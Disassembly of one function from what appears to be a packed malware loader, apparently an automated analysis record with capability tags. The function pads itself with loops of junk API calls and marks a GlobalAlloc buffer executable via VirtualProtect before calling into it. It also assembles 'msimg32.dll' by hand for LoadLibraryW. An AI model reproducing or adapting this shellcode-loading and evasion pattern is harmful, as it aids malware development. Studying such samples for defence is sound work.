Function at 0x4252f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Get file size
Manipulate console buffer
Read .ini file
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2108
call fcn.00411150
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d187
jge 0x425326
push 0
push 0
push 0
call edi
cmp dword [0x7b33c4], 0x6fb
jne 0x42533a
push 0
push 0
push 0
call ebx
cmp esi, 0x1e9c8514
jle 0x425354
cmp ebp, 0xc0e54c
je 0x425354
cmp dword [esp + 0x4c], 0x9266ee0
jne 0x42535f
inc esi
cmp esi, 0x7e59b
jl 0x425316
jmp 0x42537d
cmp dword [0x7b33c4], 0x28
jne 0x42537d
push 0x403f2c
push 0x403f64
push 0x403f70
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
cmp dword [0x7b33c4], 0xcf8
jne 0x4253a6
push 0
push 0
call fcn.0041167a
add esp, 8
lea eax, [esp + 0x68]
push eax
call fcn.00405610
push 0
call fcn.004079a0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
cmp esi, 0x408
jne 0x4253c7
mov eax, 0x5d1
add dword [0x7b33c4], eax
cmp dword [0x7b33c4], 0xca3
jne 0x4253fc
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push 0x404020
push ecx
mov dword [esp + 0x28], ecx
call edi
push 0
push 0
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x4253b4
mov edx, dword [0x7b33c4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x434414], eax
mov eax, dword [0x7b33c4]
xor esi, esi
test eax, eax
je 0x4254f1
mov ebp, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessId]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
lea ebx, [ebx]
cmp eax, 0xfe
jne 0x4254a4
push 0
lea eax, [esp + 0x91c]
push eax
call ebp
push 0
call ebx
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
lea edx, [esp + 0x124]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
call edi
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x44]
push ecx
push 0x404050
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.00424db0
mov eax, dword [0x7b33c4]
cmp eax, 0x29
jne 0x4254e8
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0
push 0
lea edx, [esp + 0x120]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
call edi
mov eax, dword [0x7b33c4]
inc esi
cmp esi, eax
jb 0x425440
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x425518
push 0
push 0
push 0
push 0
push 0
push 0
call esi
mov eax, dword [0x7b33c4]
dec edi
jne 0x425500
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [esp + 0x14], 0x25887
mov ebx, 0xabebc05c
lea ebx, [ebx]
mov dword [0x7b33c0], ebx
cmp eax, 0x222
jne 0x42556d
push 0x40405c
call esi
push 0
lea eax, [esp + 0x11c]
push eax
call edi
push 0
push 0
push 0
call ebp
mov eax, dword [0x7b33c4]
dec dword [esp + 0x14]
jne 0x425540
mov edx, dword [0x434414]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x42f680], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004250d0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFix]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
xor esi, esi
jmp 0x4255b0
cmp dword [0x7b33c4], 0xba
jne 0x4255d5
lea eax, [esp + 0x18]
push eax
call edi
lea ecx, [esp + 0x40]
push ecx
call ebx
push 0x40406c
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp esi, 0x2f64
jne 0x4255f8
mov eax, 0x2b00
add dword [0x434414], eax
inc esi
cmp esi, 0x1605a
jl 0x4255b0
mov eax, 0x6d
mov word [0x7b33ce], ax
mov eax, 0x6c
mov word [0x7b33dc], ax
mov edx, 0x69
xor eax, eax
push 0x7b33c8
mov dword [0x7b33d8], 0x6c0064
mov dword [0x7b33d4], 0x2e0032
mov word [0x7b33cc], dx
mov dword [0x7b33c8], 0x73006d
mov word [0x7b33de], ax
mov dword [0x7b33d0], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x73
mov eax, 0x6d
mov word [0x7b33ca], dx
mov word [0x7b33ce], ax
xor eax, eax
cmp dword [0x7b33c4], 0xc30
mov ecx, 0x33
mov edx, 0x67
mov word [0x7b33d2], cx
mov word [0x7b33de], ax
mov word [0x7b33d0], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
mov dword [0x7b33d8], 0x6c0064
mov word [0x7b33cc], ax
mov word [0x7b33c8], cx
mov word [0x7b33dc], dx
mov dword [0x7b33d4], 0x2e0032
jne 0x4257c9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea edx, [esp + 0x918]
push edx
push 0x4040a0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
lea ecx, [esp + 0xd1c]
push ecx
push 0x4040e0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push 0
lea edx, [esp + 0x18]
push edx
push 0
lea eax, [esp + 0x1524]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x11c]
push ecx
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x40411c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea eax, [esp + 0x191c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push 0x404128
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret